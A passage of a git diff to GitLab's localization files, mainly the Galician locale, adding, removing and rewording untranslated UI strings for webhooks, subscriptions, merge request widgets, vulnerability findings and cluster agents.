+msgid "Vulnerability|Security Audit"
+msgstr ""
+
+msgid "Vulnerability|Select a severity"
+msgstr ""
+
+msgid "Vulnerability|Set the status of the vulnerability finding based on the information available to you."
+msgstr ""
+
msgid "Vulnerability|Severity"
msgstr ""
@@ -38769,6 +39508,12 @@ msgstr ""
msgid "Webhooks|Enable SSL verification"
msgstr ""
+msgid "Webhooks|Failed to connect"
+msgstr ""
+
+msgid "Webhooks|Fails to connect"
+msgstr ""
+
msgid "Webhooks|Feature flag events"
msgstr ""
@@ -38805,6 +39550,15 @@ msgstr ""
msgid "Webhooks|Tag push events"
msgstr ""
+msgid "Webhooks|The webhook %{help_link_start}failed to connect%{help_link_end}, and will retry in %{retry_time}. To re-enable it, check %{strong_start}Recent events%{strong_end} for error details, then test your settings below."
+msgstr ""
+
+msgid "Webhooks|The webhook failed to connect, and is disabled. To re-enable it, check %{strong_start}Recent events%{strong_end} for error details, then test your settings below."
+msgstr ""
+
+msgid "Webhooks|The webhook was triggered more than %{limit} times per minute and is now disabled. To re-enable this webhook, fix the problems shown in %{strong_start}Recent events%{strong_end}, then re-test your settings. %{support_link_start}Contact Support%{support_link_end} if you need help re-enabling your webhook."
+msgstr ""
+
msgid "Webhooks|Trigger"
msgstr ""
@@ -38862,6 +39616,15 @@ msgstr ""
msgid "Webhooks|Use this token to validate received payloads. It is sent with the request in the X-Gitlab-Token HTTP header."
msgstr ""
+msgid "Webhooks|Webhook failed to connect"
+msgstr ""
+
+msgid "Webhooks|Webhook fails to connect"
+msgstr ""
+
+msgid "Webhooks|Webhook was automatically disabled"
+msgstr ""
+
msgid "Webhooks|Wiki page events"
msgstr ""
@@ -38952,6 +39715,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38967,9 +39733,6 @@ msgstr ""
msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
-msgstr ""
-
msgid "When this merge request is accepted"
msgid_plural "When these merge requests are accepted"
msgstr[0] ""
@@ -39140,6 +39903,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39149,7 +39918,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39263,6 +40032,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39536,13 +40308,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39578,6 +40347,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39608,6 +40380,9 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
@@ -39668,6 +40443,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39716,6 +40496,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39725,6 +40508,12 @@ msgstr ""
msgid "You have insufficient permissions to view shifts for this rotation"
msgstr ""
+msgid "You have more active users than are allowed by your license. Before %{date} GitLab must reconcile your subscription. To complete this process, export your license usage file and email it to %{renewal_service_email}. A new license will be emailed to the email address registered in the %{customers_dot}. You can upload this license to your instance."
+msgstr ""
+
+msgid "You have more active users than are allowed by your license. GitLab must now reconcile your subscription. To complete this process, export your license usage file and email it to %{renewal_service_email}. A new license will be emailed to the email address registered in the %{customers_dot}. You can upload this license to your instance."
+msgstr ""
+
msgid "You have no permissions"
msgstr ""
@@ -39914,6 +40703,12 @@ msgstr ""
msgid "Your %{host} account was signed in to from a new location"
msgstr ""
+msgid "Your %{plan} subscription expired on %{expiry_date}"
+msgstr ""
+
+msgid "Your %{plan} subscription expires on %{expiry_date}"
+msgstr ""
+
msgid "Your %{strong}%{plan_name}%{strong_close} subscription expires on %{strong}%{expires_on}%{strong_close}. After that date, you cannot create issues or merge requests, or use many other features."
msgstr ""
@@ -40205,6 +41000,9 @@ msgstr ""
msgid "Your subscription expired!"
msgstr ""
+msgid "Your subscription is now expired. To renew, export your license usage file and email it to %{renewal_service_email}. A new license will be emailed to the email address registered in the %{customers_dot}. You can upload this license to your instance. To use Free tier, remove your current license."
+msgstr ""
+
msgid "Your subscription will expire in %{remaining_days} day."
msgid_plural "Your subscription will expire in %{remaining_days} days."
msgstr[0] ""
@@ -40391,6 +41189,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40424,9 +41225,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40445,6 +41243,9 @@ msgstr ""
msgid "cannot merge"
msgstr ""
+msgid "ciReport|%{danger_start}%{degradedNum} degraded%{danger_end}, %{same_start}%{sameNum} same%{same_end}, and %{success_start}%{improvedNum} improved%{success_end}"
+msgstr ""
+
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -40475,7 +41276,7 @@ msgstr ""
msgid "ciReport|%{linkStartTag}Learn more about codequality reports %{linkEndTag}"
msgstr ""
-msgid "ciReport|%{prefix} %{strongStart}%{score}%{strongEnd} %{delta} %{deltaPercent} in %{path}"
+msgid "ciReport|%{prefix} %{strong_start}%{score}%{strong_end} %{delta} %{deltaPercent} in %{path}"
msgstr ""
msgid "ciReport|%{remainingPackagesCount} more"
@@ -40523,8 +41324,8 @@ msgstr ""
msgid "ciReport|Browser performance test metrics: "
msgstr ""
-msgid "ciReport|Browser performance test metrics: %{strongStart}%{changesFound}%{strongEnd} change"
-msgid_plural "ciReport|Browser performance test metrics: %{strongStart}%{changesFound}%{strongEnd} changes"
+msgid "ciReport|Browser performance test metrics: %{strong_start}%{changesFound}%{strong_end} change"
+msgid_plural "ciReport|Browser performance test metrics: %{strong_start}%{changesFound}%{strong_end} changes"
msgstr[0] ""
msgstr[1] ""
@@ -40618,8 +41419,8 @@ msgstr ""
msgid "ciReport|Load Performance"
msgstr ""
-msgid "ciReport|Load performance test metrics detected %{strongStart}%{changesFound}%{strongEnd} change"
-msgid_plural "ciReport|Load performance test metrics detected %{strongStart}%{changesFound}%{strongEnd} changes"
+msgid "ciReport|Load performance test metrics detected %{strong_start}%{changesFound}%{strong_end} change"
+msgid_plural "ciReport|Load performance test metrics detected %{strong_start}%{changesFound}%{strong_end} changes"
msgstr[0] ""
msgstr[1] ""
@@ -40781,6 +41582,9 @@ msgstr ""
msgid "committed"
msgstr ""
+msgid "compliance violation has already been recorded"
+msgstr ""
+
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41047,18 +41851,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41234,9 +42029,6 @@ msgstr ""
msgid "missing"
msgstr ""
-msgid "more information"
-msgstr ""
-
msgid "most recent deployment"
msgstr ""
@@ -41412,18 +42204,30 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
@@ -41442,6 +42246,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41481,9 +42294,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41529,31 +42339,28 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
-msgstr ""
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41679,9 +42486,6 @@ msgstr ""
msgid "or"
msgstr ""
-msgid "originating vulnerability"
-msgstr ""
-
msgid "other card matches"
msgstr ""
@@ -41911,9 +42715,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
diff --git a/locale/gl_ES/gitlab.po b/locale/gl_ES/gitlab.po
index 74cd14a55fd..2043b565c47 100644
--- a/locale/gl_ES/gitlab.po
+++ b/locale/gl_ES/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: gl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr " %{start} a %{end}"
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
